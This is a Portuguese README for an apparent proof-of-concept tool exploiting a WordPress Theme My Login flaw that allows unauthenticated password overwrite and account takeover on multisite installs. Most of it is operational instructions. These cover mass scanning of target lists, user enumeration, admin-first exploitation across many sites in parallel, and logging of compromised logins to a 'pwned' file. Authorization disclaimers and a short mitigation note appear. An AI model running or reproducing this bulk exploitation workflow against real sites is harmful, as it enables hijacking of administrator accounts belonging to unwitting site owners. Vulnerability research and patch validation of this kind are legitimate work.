
PoC em Python para CVE-2026-89079: identifica o Theme My Login <=7.2.1 em WordPress multisite e, em seguida, explora a sobrescrita de senha não autenticada via lost-password e verifica o login.
Ferramentas de pesquisa de segurança para CVE-2026-89079: tomada de conta não autenticada em WordPress multisite quando o Theme My Login ≤ 7.2.1 tem a opção de rede tml_user_passwords ativada.
Apenas para testes autorizados. Não utilize contra sistemas que não lhe pertencem ou para os quais não tem permissão escrita de teste.
| Plugin | Theme My Login |
| Afetado | ≤ 7.2.1 |
| Corrigido | 7.2.2+ (06b7623) |
| CWE | CWE-269 Gestão de Privilégios Incorreta |
| CVSS 3.1 | 9.8 (Crítico) |
Todas as três condições devem ser verdadeiras:
is_multisite() — ms-hooks.php só é carregado em WordPress multisite real (não em TML /register/ em site único).get_site_option( 'tml_user_passwords' ) — “palavras-passe de registo escolhidas pelo utilizador” ao nível da rede.tml_ms_filter_pre_insert_user_data() aplica $_POST['user_pass1'] em retrieve_password() → wp_update_user().Uma resposta checkemail=confirm após o POST de recuperação de palavra-passe não prova que a palavra-passe foi alterada; é o comportamento normal do WordPress quando o filtro vulnerável está inativo.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
Saídas (padrões):
| Arquivo | Conteúdo |
|---|---|
cve_2026_89079_results.jsonl | Todos os alvos + finding_status, dicas de multisite / user_pass1 |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (aba: URL, versão, best_login opcional) |
cve_2026_89079_eligible.txt | Heurística mais estrita: cadastro em rede + user_pass1 no cadastro (não é garantia) |
Os valores de finding_status incluem: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
Flags úteis:
| Flag | Finalidade |
|---|---|
--no-require-multisite | Tenta mesmo quando a heurística de multisite falha (muitos sites TML de site único) |
--require-user-passwords | Ignora quando as páginas de registo não têm user_pass1 |
--only-eligible | Explora apenas as linhas com exploit_eligible de um --check-jsonl anterior |
--verify-only | Sem POST de palavra-passe / sem login — apenas diagnósticos de formulário e endpoint |
--skip-version-check | Força a tentativa quando o readme está bloqueado |
-q | Registo em massa mais silencioso |
Saídas: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (logins bem-sucedidos).
python -m unittest discover -s tests -v
tml_lost_password_handler() → núcleo retrieve_password().wp_pre_insert_user_data ignora atualizações durante a recuperação de senha ($update).wp-signup.php → /register/ (falso positivo comum em TML de site único).html.parser; suporta recuperação de senha AJAX do TML quando configurado.tml_user_passwords ou o plugin até que seja corrigido.user_pass1.Este projeto destina-se a pesquisa de segurança defensiva, validação de patches e testes de penetração autorizados. O uso indevido é proibido. Os autores não assumem qualquer responsabilidade pelo uso não autorizado.